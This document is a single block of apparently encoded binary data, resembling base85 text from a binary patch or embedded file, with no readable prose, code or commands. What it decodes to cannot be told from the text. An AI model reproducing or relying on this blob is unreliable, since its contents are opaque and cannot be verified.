zu?l^iJ*;H6RJ65c4G7E^NAcZ*b=L#Si9&;YZ-eV?SEf}LQa9G@x&`3*=mqitXAVEd`I)(SQ{6{1c95D6AZp{qW2QWlZ=T{8y=!>)o%_u zsXhT-Ra@TN75#=hRl?*nGP>lqj{Tyt`tAJvp1qclL)}_^Uk9L2OCjD$C?e=Oqd%tB z9Q<_cEajt84%q_<*u@s{R}WavB>+#POHHAbg^^GWhvl8;<7WM^i}I@4NpIys9bPG4 z?|lzwWN2xxM=pG90qI|MzgLP)@JqknkEJY!9;PluUfOW~AYmIESsKhpJDZ-tUd3F} zYK_T@_WL3&WK?r>U4xVc_bnGpFP+M?2qj1R!CvS;6++2-fQd(Th>{^vv|3 zTS?6G;L?EHBlkCi=%)7a@>m*5q6i2@0&`$63Mjya>MnU|dP%VFnK1{`UDg8K5$bl7 zqs_u!s-2v=-_iUbPRmUCft*u6E&12MZPxd<+2M|%Gg<(=Mi^#$kD|6htx+v z*d;f0N3Um=(@TTyz5L%Cl6EEFI4Di_KO~@ki9a&NMyxTAlH{yuSkiW0|aPQAmMS)zYa`J=6MBV(XS1JKYn~|X!zSm02@B?TAIKoL|p2l z)!JfU-}@RJiofLPqC)Xew7oNVi?0p~?E2cZ?cSe!+Oo2tv9S@Tb2Aiww5)F_2;|>? zCl^WMt5OJA*|P@{Q(7`4mrsBX{vmmidPJlp-kk`Ul(qevHUU=`r1Sqj9^vnV0IHvw z%WQ_5g@s2@utD;)M!xk?WT9q0FD(C6;KJXFCOz2G(>&_x(GMR!OrvcEgBdtD!l$ss zgURfdTErB}fm~eLJLIWHCh6mUcml0-_SBTGG_MhhOCJFYFDv#< z6QZNTBO^81R}c!40OE%||48_c;CX9iX~HLR*9a_tH;B_Am z=KQ%|M@9mS$e*oRRBt6Le9KkY+Sud*O#fQD4dj+QyxV(>MnL6>w6wIy?dP->aiS8E z|1n1Sv=zjUh4uduc{?sh?9UMp!Wgby-GI9no4c!aOC#Yf=gR;&jj}zF?*hBB*JFG^ z(Ly5|%ldr^8(o4tm4wtS&IYIOHV`#^&O#BATyDY?j0bpsb2@OLWw5n=C%f4QGdK6! zE6=pFH0>%YgVFW9fXF<0TKW=u;-uV?f!;y36+R)>6mS_$D8-8ztXfe-A;VCX4d|uq z#sL1p$J*anv;v*21TqSHS$)#?-21lcFjmmK>t~5u0%~)_6u6D`x&`b&yWaT~$xvda!!0D5f-6=3dj zRj$`}b`*bkkDJ;TCTIcIF}~LmOCTg&Gu!v1nJ7|)`af~^Y!la~dI}gwj)-~wo;0QU z61E;TH9zT79AoF`35HnE=1{~dtF@kT0Vq0cB##SZIi@_eC!>ETTw@d-!K6NvZi`5R z2ATV@C-BkE&^beT_7R%-dkF{Q%Fo?z6lj=@=3RknO`mn{=J|B1=eVz?$wxKW3bMk^smM@Gtd;2^1Pg9(1 zKqkX^PAjdxK~uVoNp!{Q8N~G;t_KOH$3G?f3S0w*b#O6-U*wjYOjjA?7g%Kta|WcB zHpH2y`G(wv$otIvs-mPSrOuAE6K&1}>_vloY(m}ry@gf4J3!z%Cw;wpAK1-oE{5dW zuxse;B|<6Ccwfb^SqgeY##BYX4#sG(rTN9b1|&y5ZxIl(>XP73f$L$I z2t`k569^$f#3#rWYta+Du^@Et> z*@SrFJa`NDu&*!ApDb}|N-bH!K$D4-=)%!O>h!4?v1FQ}f}*;=f1O8yfbADGPg{J( z5Y$=FCTgb1vL8WboKxdZe=Gih`14-&71Ct#;gd*#%3BhgsAkUIAPU6(c@shJK~+u7 zlg&x9{uvKCXV)Gn7vOd%UwvX!zl-uJTQ1 zrmLIYJz5Epn`^Vn2AJss_QiRBIyrQpl8EfxB^^A z-nMU2RK2k+#?a47g3)riDG5U#K8pOt=iq;Gd|d7u;n|EE;yoAQhnmSJ?t}D5iK0T( z7u{Us%~!i^AhWAL41b0W+^K71c5-g<@=Zeot_(Wu#0LkH3B21aVHygTjg=wkkLPOq zdPe6DU7FGH!x}n~|F#?%QY7?RmDO!`^KdLoNsnvqi%)^thf6Q|_uiuvmu*4P&CGp8 z$q%H}>OdGAv*vI<4BN1@O8T6Ehpw}>X2XOe5lcWA_{va{Pie~6m z>Y5Z@j64;)o%hh?>uz%; zVmQ4Z4Gj&GteaU&n~BRgsdH3R+OCPXb4LgT^*nSjKwdwg+Iq#IeH;JUe@8;Rj19*8 zs6Q|jb#{UJn+_N2*K9>932kS_ z!*%cKYsw3C8r6%J^)VVKv%(Ii>+GrBPu?f9M zA!P~L+*}DyYLvfTAq?XhrV&Q+EsM1y+{L&>6FRupZN3;=xl?O&2X(0-6rbHS;sZmj zLl0>!@_JM?zV;A>LQyar_64d8W($ClN4(l$MF`=E9qFfkOU zq5$eB#OXFjLr~Me0&~!_EtwwF)=TOY$+cECzuPJIs@8wS3_NAl-e zdCDye0yFPVNNSIv=X*=b%Wouu=j!+soX2uiGsTXna9;^JENk4?b!!_fxc>PQvn~1Q z1u%fxU#FE*nJ)T5U+z|K$shoAp5tNyb;#ME!Gg3f$Ec_=%f%>t`B`OJTpCJu^@EMh zM0XL-r>&ix(Ce)SZJO+s;~YGc-Uw%i0HWkCEnq@$@Fr#fia$SOx)UpG$?e8}%OJP9 zMS4o4KuHZP9`y3ket+hB7#W|#ZasOT)peVRg7Xt%*4I%r%2*UC+MiJ{1^9m7a>zpD zFTcoiRBh27Jqh^^-TC%Kaczg=_OR;zXgx3AzWn?FG;16^?PRLP4WB`GrvjXIf{cb1 z1RTwnwSKR~bfr8uzcj0CJk5}!HCWidIX{*NFPU6K?I~|DRXIfVY+mbnv_U$}hq00P zO!dPj1B3lpaxtl?3VjTg#}qzjFWVSj$jMJVEka~L^vWNkdhIJ7UbQbTTE+e7FBi}* zknlW3q_$@UWaYi0QE34rCst0@?Xe)Gdgr$%&H3-QJYeb6L#2E48wHG+_DRw9sD$~`Ou!5v1 zEu3zqLd+l@l%|j!!)fw%Fg?c?@$%|QZgqW~Dl;SFWoAd4rjYgaE^y4eZT}KmtC9K$ zxQ>;h)4u@RM2>H19R>HcdOd&t0VsPE$4fss2~1lJql+xmY9I=Yh>)ShH=W3uPkYzu zgSLGMT%U5Ra&dOz=Hp4vNT;Tzq^3$AN(Hv)<;-d9WZ}X~T#_gkY(lIC0Lthmjuels zP61LUwblI-Z#GxR&dP($M;u4vLT3r5XS&8Mk}#Em_iS^%d^89Q z-F=S!gP3!3ywq$EqBT=#xw5*dmJ@`7ho}9$y1{;@fMM1lfe)1J$G}=B0F;NK?Mx19 zDd@?{2Ds-|iuFp`^Orjt6U-%4z?*chc&%R1a!~f;&9+Z8Y-Ku*4u`~7F4(}W#^kYu z(CPTWP^*(+NphsxqeK_TG=;pxpiY(NMUyYag7!6PB;QPli9x`6x&<34Mw#iX$beXx zIaqJyDn0E)t^RC*W^|rv4Uu<#bB40SD0sk54(I7p(Y!AJ{@+rw?w!z*AMQLlek@sT z@#)jWHm=7{oA%5^kMmKcM!NWcc)mQ%D`J+%v6YZGX6u*+avYqCt23XtD3tn4LEiHeMd~j1wqWd$xrDJ z@LKZwPQ=5w#wloSEe z6t9lVjvr2@yHT^1`!{uq!OFRupEg$28U}kgP-Va4L{}0tU_H^{Yo*no*WQ2LW_(#z zUI^Pymk@tqFUM#6Ie|mjp956^8|lR!?i+rf@O?Pfs1i^XT+g*=f+CN`seHuk-aZ@P z&f$jRsikbm4XLpkU-_X^R3n`$f8n0`KG5AQd|TPDCz-oR>~kRM2isW^LBcF8vWHq2 z@F;!e+L?X=A%nO<&z>1ffiPr)LGv*c9_Nk0fkdXK$stdH(=wHuumUuBm0kGW&cT6J zmv8T$vw3OKs|G}a=u~m^8`z{1B{>n+PJ8DOth2k@dN)*mbKrQit}uq(qD%7Gee95M z%S$fN>agn<{^4ae`qMGG<3do!_2vh$I_}nAeQSN!phClD-yBBm7oHY_MF~1KBMIjV z`q!oDI{8`OtR+2l5oUKA&lf9XeS_2IuVJ)$Ak0?*q_gF!q$DJHCH0>(Go?A~Wx={P z>JQK6+;_IC+XcY2`l8SrOr*Q=1+STFqY33g?Ruj@vh{p3&S3T(6MLN5ioFRM^PLH; zHu@n%^ydb{I=pz!SJ{AIHha<|g>Bs8ABLi-sX6cJ))T~#TWc5e>K!ok3G?t0l9;SG z*qU!zSdo}i-(mzq%*bJrYGNZ$y(N89gpcmN7SPq_!GHzA1BOiA4pY|vyE@d*VMXc^A*30 zF!$mC<)|^01y1h=&w$)tS~6HFvT(k}O(L^Q#5dT`z%XPa75FVE?EQK>Hx=fidK(iQ zi5{##6;196rYnq-$ghc@Rb>7`}+oxQL zm@AKobStm#C;%#I$g=3I0;_x*jnAq(^SI7G$4N&*_Br>#@_tmL;U_i;kix#z$RR& zm5hJx1OWGIY#N6tLk-(v*>ecNbi>i<-ETFa)D1sV7pAe()SOEYfc9xj@(aYltDmzK z8SKcwSZ!@=9rigkoJLQ^Y=@czIrl7UIT<40^+oP51tI0ZnxuOR#pWDvE1^_#sx=H) zg}PjXBczuSf_Hrs?}VXLq~h8)>tQ;HK6|y$qpI!PJUlEcID&F6;fNJY_z-(9FJ$8D zQ#%E&KpAJ>5S5hx5;o_ypnS8I*>cVuwP)hTVr@-)@e$o?SxS9K`;Dg%4S1@Koxj-S zFR=;CRFnw$x6iQ~1;Q87m&`R_rF!zOJsW>CVE0Y1TYst((OmBGw->WBmdH(IlIr>H z_Y<|aN+9DDiyEoQwCfy1ywvPo)-3J6C9S%K_ zmOzu46&Pr@l1ZVb>&jD4lafwj=~ZV)*(40?7!H;zlW2uzre-SJv#rUQ`l4= zm3FF=bEcF!UYxW>TldQ2y*1kUPz`C3KZk#6-NL`JRY*ffpFR1>3Qxdkon(E(itmAv zn$N3FtcIhX?uJ(byK0%_cLc3I#a9l}Mt;jhuWI@Ow`_$K9!`yDl6`7uLNU zG`b$RwwqL?p4B-%N6H4+O>{#-Y+C`j~1s#SD|Ebd+~D~a?wGknP%97{_les^v1~tAF*q7 z$S*pWqY)puOXN2|K^JpMTfHOPLD6-N6j}Ah;R>|VMaJSM^M*zM#KzF$>Ys9Z!Q_{4 zD}@=Y|Kfki&<~+$kDl-BRZ~%kh?Z1U#KXb@Y%@~q=fX`+@caPIa(H&^7kx89;6XQc zR^W>e@h^}!oSf0tL_ik;1ZcJW6szxWDa8(AOg8Ep!jTSj493>lshX(f6(em-|DSaF zB}N2i<;U;>(=FeQVWkTwq{9z0A`U=B{OqD}CZ>QV#@0X*&BI7@7y)#X)U{=SVu$V3 zkDCEzFC#41tSW8To0PD@IZkcDjV(xZC;pS8IQ`|xKg=^6F(RNqfw*}L0a~{V<&sW5TL@=DoUQ)Y+0qfYzSgLO?Q!Wb9d)B-&Y$8 zW1!K73%_?UmBuF@DgC%c#_>8wT0E`OX>iU&S!zCQU)I|h1c(+p7XSuK>gwVl>V6B_ zFJXbDm!{r#a_uRoKtK>*8f8lU;n$JK6(< zJ4OnOz)AO6KWL`9jh>-B>~Z;P$=>#lRMAAW8$fOt(QCB{fk2#W?^{;_VBn_nWX*p;O8Ox;l>r_N4S>ufT9B!kNj_+j%7GX z7FB(*@scN;SXa9=mJayCze9muvZQcFN(IXexc|Lb@9U^y zl{BGMoze7nl|F(`hujEhZR#f5aixiz67Azsb2%c*-@UtU z0y+DAv0)D32Z~dtVoN~?)7vLkYQMuN=IjAt#N_|@{c4#FS zAmHRYgHXRdbBduB2Ru0`9g>mRQ#U{V%)BIPwm^zF6}6a@O zCgsk})M7!j*$iBb7-7J9;xGL*!+*XvK0h!Y1*7ryz7+SOeU+Ddw6(cey~Pcb zQQ+JsQ50s@FJuNl@Ah}Otf6FDgW zRN2bhGfacrD2?V28 zuoKuprbGikAG7J3pk}&agrT~@AFA|zs($2Xai(0}b$FPMzLWN3U5nCHRBCnOt-X)Kp&((!1N#%j4EA*{haT%@Aj~W>Pm9!B5 zTI(wBvY|5*-9Qd(Q? zDS9;v3ptNavnl@g0wJPIJUCA7O+}yByB!I0cfc3nZZ#b%a4H;;Pg~gL4kb* zI0p+tTLFOE)EW5RmF-sH#T4> zW?ro?Rvl+%GSk%sw>jrRaX3!XzbPrbXsB^oyqQB=-1d6^yoiTM(w`L?K!uVv^;T@fjz@{rc*L6;xEN(5565=&Xep&+U#Y95*>`xKN?Md&j#*p=$~W_5dH08Qt=+uq9Qy{7eptgKVp`I1Mm4O9WYtldkT+s``#b}^Auy=*gxvHNze@e>%TdXA;} zI%e8ytKYQPhj>v=?^-SqRL`xfT;&sZGPrXdwn~w58dUrEKS@&7-pfi|xM{TOYfY0~^+#U5v`Dwvni9`_QPTzCKySw@aKy++SHF0H;;$#ac$8W1 z{CRbsR_LX9h+cK`62{p408!ojXsxvUFR{}XtA&^tqMpg1;r-K3`&Gi@YVPLxkP)%d z9lKIoY=`0i(kH`ll0r_SQytSO$-%*`oGr9jrpC=F)s(x9>K;|9 zuPa_LzxZK)dn>~d3gxhgBFpA$lkX=jHh6>d@5($RG;W5hc=lLOW*vM2jxy4l=5P3e z`W>!Kxv973aJk@)51xf+!nzS}{83=uIZkAAsRieh9HP%D0$DjIlF9Y!0< zh>77&0Q>&m_zey##6K$t416f=VXxNTR)cO-GS-1WmViD7sz)Yf`9&XX>PhP`fl%%5 z2uQ0nAg~eh!C3vy0!l}_v7FZ)_&7gA&pAA3!>Ye0CEYC`hM1dA0Aq)6e*`}qYm3D) zxcvi!-M>JcsW7#; z0AWs-^7wLfB{##!@Ok18caE-+V;vcF&S!_Z<7b$&+2yeKLV)3r_%jBOVrh=2F4%b| zpDHQR*yNCIByy&SiHXfz`D#oQ*iel$g`#In^9Dx~Ey|x7R8Rki4wrOZ?lJ?YT!x*% zIO|^!&9`Lq=6pW$bN7#1zz~)k%xU12__K7tzzZMwlI%l?Mc0}2`AFAnT5?3PgD_|0 zLBJjQl{KA!NYU#xLY!X&$ZJ`|gVZES(W|Y+TU~R7pv%B08n?OoAXpF43(RkMvaJ~U z({^M9AD|LB&K2F){5BVy^SQ)*u*DzC#P6_rZqD!cO6%iCf#aK@q!L{VdeCc3nPX@H zu^*nlzrS1*nR&S%9r16nIkqEGGW^yyA`|;arWuUG-ubcA&GIZT{pY_Tqs`*+*iQ5I z_BMB^TInYX=O2kcMj(}PL!S4p&&IiSJ)d z{fUe_(f`78pU9El#Vf}qyYa0Tw7ph3O8~TC!q3v?YrJ(fYrCXp4582Y8e>{otfQlC z^%;{A zwxI{v^pgEh(*i`vm5#47{EdoFx^TYNJh%bCLEViF;c#xPj3+xR4%{f{B^;HVS;KV2 z|NMEzF&%4u3AeEP9CSD`VtA|WQR7Q4Q%_`m$^P%iIG@DcVrV*O!{KgXJ5=gW+|Ubp z**FT|j;rnFzah(OviRJ1?;9=nIEq6=RP@Q?C;BuSCA0ks zsUwkk3caDKXrxu^mtB;cztca82?pOMhIM-Tk#c z%T@Lqk%#C$kkho@y0S8B4!SGOFRRO{U^8ld;?J6$&5OdtSLcJ@T#M2lOVi9B0bZcS zx(4Xhvxf%qU_X8zDQxBByw$uc$fa}znnO(WPOtg)awD_Uq*Z9-8ceUPCpx0^NZ|+8 z;HVYcy>}8j<*>TCWe`T4(fU^{^|E5M?xi~f@*99vs`xGGNmjm33mT>@)*Z3Ve&s^z zVt3G~zd#e;qAmlXtvx+&icL+?m~be6YQ9oOevlhOC46|$Q0ejyeFu=Tl}rYD3--tj zM6Ve_QoIf3+fgWsF4dHgGPL*^=D4T}Y@9%nv_`s%%n4L{-Yr1ZI_(FuoPoprJ*2p-7IlwhrFlZBrb zQ(x*iND;1Gmed)uexkI6LE7J- z!d4W(;0c*D7Ga?QYHv1u^PPRQ_V3P;RYuK-gl$1xXv*TliGwJ?;-;DZjnDVB=@>w= z=SgfQssQHJDbN;HSaA1|0I%XAC@8*gs9JExvqiGmx6ZfD3Q&wS=>K^&003L)O@rwm za;RCk>=WU2;95Pyv0{1o!oQ$qaZzFcey> zV9Knr{sdxssGGlVWZx7fPK-XLRRJcGzx0Ru#Vg^H<#g+d+O;0D&d41>7lIeTaQMH@ zc%X<^XaX~bFB{{WA$-?Zsj@>-vp~Pz%yD0-w{XFz@!ZDR+JN)H%$RFcCEloL;$T1Z zWxk32rw^t;iy*KgFH6Cq%j|$M2#ul273FpCP=TNq19Zopd0WSZpk%&7mV-ZGMLR^S z58yhzlXFnTxA>8yFYz&Ge^JE%G5dS0aELvZQ&v}ea3)2{+dSEIA-2S%lgFvo(m==Q zlcT4|w(c~kc|uZ{O)hOTSLoT_U{d4HOInHCzJPaMu_Kb_+|C0qm|nl25^A(ZfCOC5xc#A#b4AjW0E`M~Sas|_UOGG&JQlZ0>)@cNw2=alU~D>R8%$7(G){ zsxARb4hFn-Blk71ckJitM)H-C5^fXNCjo{Fqj4rTV}r-m=E_QZdb;5ZkRY>fKPiq6 zd;FpJ%&X&49;Nl*w>w|ADo) z&@M;x7?LTpCR_YHYokBIq|KwGs8A(CCbB*9|Ly^flJz^MB;{a&A)(%OT0vJHUeehb zB{ewvyXGWr6KgV~fSog=c;;y4{LtK7pQ*pMK+@xDhQ1-d3TG&LRJgj>t{AX42Y6NoCOLzqgq+1%-nJZ#LQ2%=~v!ye%uV9kUfc?-qCr~i40RH+aXmqrq-hM_S*!P@vd%78?f@V_} zZr1K|a=Mv}f8qoH&FbBfHhIEcB&ueL`5v!3C6?DLv}pHIPuCcuVfW(WQq!|cY#T5d z*K;GCo8>1k{x;-tf0~x$tV$y{2Q~FL@dUxMaX{PA8?@jFGE3M2(^82LIT^oETBa4F zQUQTRySwhWAIZ9=ZG9?+-1vyG_tZ1wUeePU>pvu^=no2dG|!|vw^((8Yn2|Ro$eu5 zNWebph(04bw%hBF0Vc=k_LB}qajrirr3Nf1q{6cvX~ntz?_PqAQ}kYnhmjcQ=L7Fus0Mb%al+!aoWR@0KRE`zYfMQ3BOn zYK4haJ78-%qQ2)VbO zneyvOCW+ilm$pDG?S1Qa?^^bX)Yu18n-c#}Y16P)kkCHO{}y(Fzod4vu|0skZz&@e zl$H#Zv7q!{O>Vx40L%sVbgAu|`IBAO@!R`bOPr4Y?^aodCr!=G4PHAkCLcF8NU5a2_KUYg{?~Y!l5W}M<-ha| z#+K*s9Tp}8bju)n?=K__w8hC|zkjz~WB6v)aTf-OmNyP^$)5WttL9GscV&f>xHzG4 zxL1FZwAW41wQ>y<%B!lV%BhvU=1~u5C`SjM)Rgkg>e~l?X*y$h9sXoG(J8)p{DGzyvdjqi=ljvVKDD^=*0(7vw9#q$iBaU zaeJ@|D#IVhoxBiZOf*r{Ec9b$7M$1h8IsdPWG6Ha?~yBMXpADJxt&y16j-&=iPM6S zbMq1>%LRspjS)w_R+b&1o%mbKwj~(<{M|2u0Y?$z#`3m_x1Lq9n1oxZ_-VS^`#e@N znc>T0sMIZT5a54de;45Ju}odC)2GKyj<4zBe2vBsP*TcLpXCK(omVQ(Rk)bmk})Uy-bSP@vrdY+Dt^{6 zUF5K8MXR41EYX^%!+&{weUKLUWSxk-k2EaqjzqS`XZp5!(!|%Q7fv`?GFx>}+sb9!VBR@Fbk5;M7qivj z#aNcK*m$be^O%L7w5{47&Hs6#0rbc#xdM1DeC-`G@8y){xu>@h?Y6SN+UHf`5vBtD zY*%?!4$T&Eni>NUHVPuaebnUPHHRV*w7|6FlTJ+(t*C<9rGx`Wc(`dS7=88B?I)N$enA3Jhl85s%>1i~2 zmW;ZX9Gl%jWLFo}iEp7Ctrz|#qWiM_YX?}t3FmINBla?PjL&aYw`JGw2n)wHVf(wQ z9Gt(fpxpAlr4a?MGn_|tJUwgB(I#T9gF{KQyG)f-W;Y@Z$u6}K5%I=z0&d}t67Sf= zi&>1HAvjygpua_s;VH7IA`T=8l#ZuouwPl?`$@KklTo;)GcZyo^|F)hF4xU6#(!42 z}T(; zZB7`Zm8QA>Jyu5v=iXY-BEU3_O;P8GjVHora8w*Y1`o(t=Sf%$=(M?oL+}mhG;=tB zSu?1jT({_KrdQvc&GJq2o02JRYG4rz0Ae5cluq6(;(+z-6JC4wL`2#_bw}4bbF>OG zQ8w1*_k{#UpvSODQ>wYPtY?pUsC8SnS#e@5?ppo2wJc zJh$JjL5-o;P5Y8Sc6R<`QD}jsz=T9dk7_Il(n@f9a4kHNS>5)ma1hhRhtzM)V#pXY zaFDVIe)6&cKUF_pE^PSjEd^Eg8o($zaw7IE(EG@X{J;`4?qgb~Ta#5b^n5)rD%wO! z$|bQeR(;PA47O%mcM=mbC(7p?t%dQuNo{#bYuENeJU`3~ap&I=U_db?_pPK+P_TqV z-{$5FhKiANom(AiHi?Xuq#^b|^v_sKw&3??h-ba?`&VnUhF{tbv|e4YNCyo6fB>oT zyh>nMPM!31jk=gu4NOw9OEsP54g&|8lK{I>Hv!rXiQ)Pt-i6V!!-1_cY`$y|Mqd5+PS_0*DPe6f50pe|a#tv1#;$<-Oy-+*x5o-cRSGd}?<>^r z88mB!+8C%W>DJm(bZ;YuCc6|_PV(PADM?J_Ny2e-Z#+mlXLkEh z~0qK#rn$WV3wn4BCVm;?r?T4^|F)mJVaRX$_@H?=&)nZV^ z*AHJ&7++diTKI0%lj+IH!jIsIrVAk;=;@Ha8ucQ7faP41Ts0>imsIk@!k9HDNmup^ zn5p-#y+W~U>bx^b}{+7Gt$GrUthxj1{WSOc*AG-!&9#CIdq7TNXs zIKN(2nAeThOQaLJ_QJe8Twg}23gtdp1DF>iM5{?v66Vd3Ct1TRa)tIP$g0#rEeh&{ zwbj*dqp|ID3yG2|kMe$|ONjp-5Mn>OoyJP|H~20$fZU{6BSa|X$P)-otJbVO zW-D!r2w25_ogafY-UYkPd1^9DXr&ybbm5`%R-M5#o?#wPZ3{5B9zF#OxzkSELOO!-_G&U&t0sLGr6^H zXsSA~a~t*JQL$Q6X=Nn;2bsjtmqi7%k)zXOdR2vieP?#@a(R5_z{Z!-($azU%c}p^ z0<1`eE`qQCkM))L*&Ha#uSFq3b>8QB+EuI9tzp&4pDi~)?n2FcKB`b>v`u3zN5ox% z!=piS{%~r?yLM|5zlJ<7Rst}xD}2VBzG;YqJP-FzxOOL)0JsG0-Bz0n!x-^ zdzK^>5j*0CAIneoKJgoIZjQk^FoL@La3~F;FZ>$)DT>cRJ2zTO|F zkQdj&Ug;OkqK$OTXvijX1K-bSj(Ey=+`)>Jdmu0^nntDhe!XH!gkOw9Hb*(eKTwSA zDmkpsS5pcwT{S4z*CHL=K@8xRzwUnFvzFETC#@$nl4R+1K`jb^@B8%M_YK13>YC~m zV`e`8^|ffIHFdW6yu9UxRtRS(C<|__^y~T=enf&{tgk47`#oRLr;!Y)Y z%Pegdo6s1Ilp3s5dJYbR-5Aq?9swF7pppp=?MtvoPq@N# zDDf|R4%lnDT=c(DC{(3}K7RV*g+TqC?Vy$w$*t`gvWrfI2 z9?Jd92436s#$RN6Gu>N?vN1O@putQ0ka?!JI-_QyqhDm%8A0$kAYqetO=QtqR!CSd*qwC%pDLC3*LPbGuXta6U)~pxliRb#Obb zqn#!?0`@b7fqNZIk_2={((Z%;L0aje4k~x}CPCGZ^bURZb)t&!!SFnOEf7YgupgDT z3gpIEgugOb&SYDiep9Vifs+6x`U!MyZf=8H;nR5$LQSwWv9+tlQNEJSX)p7W4d5TR zbAOf~nW$KPJ;xqHdoTl?b*!7El zF;S!U14H8U;Q<$YAK+9U+e1>NwpiHt;hMFT$;j0;bhXQ*oH>^qE@hQt2ZaU%EK~q& z=wWI-nW^D~V{R}|y{FhOgp5dA3&X_Iv;ATVSm>l)RSIOInjqL(;10^HowiANOOhlD z1g*{C2g0;pwc$`iu?cScD?u=i?)riR7EFy-T~5~&EX!(=7m19IA6pGuX}$8vB)%50 zU;QK*tlJ=hqYVCQ`q4~1+xSu@{AukIxZhqDgh25-g3P9)yXWVuI=)#T*xEgduxRSs zahL{Ky>&A3r#OD|X)mND7g4J6CX!CeVAj?91kQ+#Ri`= zC^-{e#{oy&lQ6-pO)eRtNiC}#EK@#FrxElP6|11~@OlPKe4ZP=m@E;1DYUh;q<%CP%m?84xWkpr5r@U*`wsRXlTW((X(dr^%pz@~iI-)!4;cV&>{&@!5oRpZCn49wuw55m@SXk)M{$|3C@lge_?EDeQ!CW!XZgblXq9IqWRdwn+r{z|QQQ&^VtZmLW z$N{Ic$yR4p%PhdE%s#?aC+cO>bJ&O#ri&#tk3)N%EE zb76XRHX=C!m}mkykc4;QkEuz$_WP%CP=-|wV}Kp_c?Pf_@L6t52HvdUbmvYbx@G27!XDM zMdB+f^m0cHO%4(F@$m8M?|U?q2K_!Fv=Dqer>A9dB{y?C`WE z&jbkmy0u)7c6CMAf@Xn+87QsymRq&SSWVy`GOEd~u-3Tv&C~No`*(qc8Ef{ zy3PEMAh|3EpwjNHm;&C#ni}Vx8Eyii^`Ng)%75MQKW?&C*M=KN?5-^d+u)+A0SG`O zfYX902A-g~ISaMX`n`O)IngObe>E+-UOJorviwy6dtB*|lFp#sS5YAAYm;Ls=BJ{j zHrX&WWM7f?A4vRDa>ja z5+2(ebWardh8fZML3f*ScfKQjVsH7%OjHL|rTWw6s~woNg{wkVlyL<@o4uqU*U=er z_9N45hzYJdfhwgn0gE+G7MHHkF1@K-U4yEw_tBEBhGYa}kM7*}KlwT!86CyI0>E*g zIHviJAd>bQxKkDu7Ao5}qJxf+e3m-GlMsJje7D$)45Z6qHlOoxBBwa?F%Y-s;VgXB z`c`j!sfYn(_~!Cr^9&>!9|T=l0s3_S-H{i@LVCUjpWF%yLL+F~69i z%{%Mv@Apr)CxnnD8vGqEY=4p-2}SN{&5hWURAfEsJLcyE?Jhqj> z^fsKW>Kl7!ztG}6>khp!uL+@&${-b~dEd*?#oh9Ob#Mjn$qPt4{`Z^rHvI76dsY^+ z_}r%am!qbE37@x%nSfA@GTfc^;t^*Kg*l~h8@2dc4;qWpTR5_5LY$;GqOEFK znPTD~g%ysQr1&(X`5Hw$*rH41?BEQ-S$0%t78+MOP&46qV)ntz#fhtA zj||@#pf9|M%+5K-|6hSmWvCNL%)FX95_^Pdn*jFb{zg4;jCXcr?-N35*8%dqYKr&e zV^DvFkId56R=s0STgdYrAj@kejRoPqwvc`t(HOy}mUqz}Fvw#wXsoQD!f&Kwub*08 z_c7<&r3Q?nb@h>AS2TW^N zlq{2j0pVllA4c<6Y1x$E5)mc*Qj^*}H7Q7=+5Az9zfX8Esd?Q3;OM$L+ljg3F!_`1 zFP{DNy@f|xaeoTW6*zH$)3A<(QFPpLj_8uUjm3xMF$ka8!dsNx8D!O_?rf;A;+QX_ zYeXw_`T2=h5j65?ZLLs}Hb{m7;#q%hX<>yrA4B_gK0gd zyd2nH)@(Ir{mx~&Azt^(Qajdm(q+3^D*?{izTJ4hZxN{(^asaFlzP${c zUjEfCzxPe+t)h*5QoG*SJ|la0$<9nQrK|J1SiRw1{4K5g>h3?R+7q1f6LDaEuMBJT8R*Of#Zc-iY*Vq?rP~pNMaR}S z8}pwxau=xi+WqOyMgyk$nX1DdU;UZYeD?adB@LTh4}S*SZcpUr@)_l_YH+t{H0xI+ zQhKkfqaPpNu`oF!m`w7F0yQXl`=fCIT0;ie?&t@|fJ*)Z_@DI%Z;IChVIr z%`DIYhUXVoS1*w-wUKf_m<*@{aygENvl$F(&=kW%7(HF!M>!;UvpTjyQy5sgNXi*i z?_+ckYnU^63-E2wv$g1P zQETZY-rp0X5w0M_+%lE_u||jNw2^d4n&m@D2yI&SBZ=4DbgRH7++h{>*%4Bf{ltvFuQi;3nMjWF zvk`;SQmsFRy&d+X5V~9plIM{l#d_>>&tlXC26Qh0i2C)-P%D$_=R|pG3rjAcK?MC^ zuL#Tg_U-5i-S$IE!nd@sM%@z#%%q2}Y<%>7f4b>TWJ8UY z(E6;Qazq+A@}_J2tuRep0q(VBV0HB6QfP4ABXDB?P@FoayV~Q%()P-^7ZkDRGgN(W z{@LG)2V>u!=-Ye~qk5@h*&#q8t6&b+p0fd_@{#M_?&iZD%N*5NEDub7V)oZDpD`%b zoK3{kxJGBnNHmguCVX7*G2aZ`>)tR>Logc&ux<1VfhWbT&?+FFxA&T%{X1#-L``lN zYxDAtgVT1+HW7nDiJCD1K}$fHJK|}VoOMx7;sML-77qY2&DoEAU^Qv26P#YG%BQHT zjGMJp2*B&HrqBr;g#rkqWuih|!v-p8wSm4L8J!rQk6Bw?Cvd|DOtEf-FRs=C#5Xoz z02k(=?La(_5bt|CeD5~s;4;POl>zPQ(;-}rcXKb~s7K0zyZQNu2tfiN%O!1$i0lcR zYouqhE9fcQsOY|S6N9VW#B6}B#c=7OX}XezQABckg*q-r9^8Y;q9$fM6)|KkG(PJ}oI_68&mwZ?Obhj>lanilZV{ z$~8z<4L)1x;X7S5mYkK6QVq}<04F%}xNfX0xom-jszaJ3AMqk%E ztZ2v__NA;lQ|=Hlr;^IbsTa$z^xgD0R0=P(O^HZK5<^@~yr(b@PDDY=*#uA=C{YQw zvj~yel&suv2{&`f9+BtVWbM)9QUCL6B+OViEdD#dT?3ytI=99Zs-_suX*LCLEqVf* z-mB!IhQkSl*p>mZidcQ!zwvf^A%af?R*63e*QvFNC_p`skB?4vT`e)-Y^Zl0{;~jU z3%Ft|({Eln6}BN}-SZTr6f?*iZ(bjImQ)iKk`Tepe_sZIjRQGG$DC;Wgl4pUvfC(a z_G3MQ$XouK+8ZZtGHJStzp658KP{Fq8vdQ0$h=s4!KOb9S@l`Lq27IK8?L$7 zov$~ryxgyNe>jZatUArY7Bq6HCN-#U_gdBlShFU1@fR65=bjtarEqu+NroYPXOJ02PhxLf?j2-hgG4CYr?4#Yk*1LnRZ$pE_moHlh92V^T zO*u^Rys=B-Cq_zjwiBDa1NsRn{0mR2=gS>5e||JF$0NVU;XLzZ=#99jAg45&G5oa( 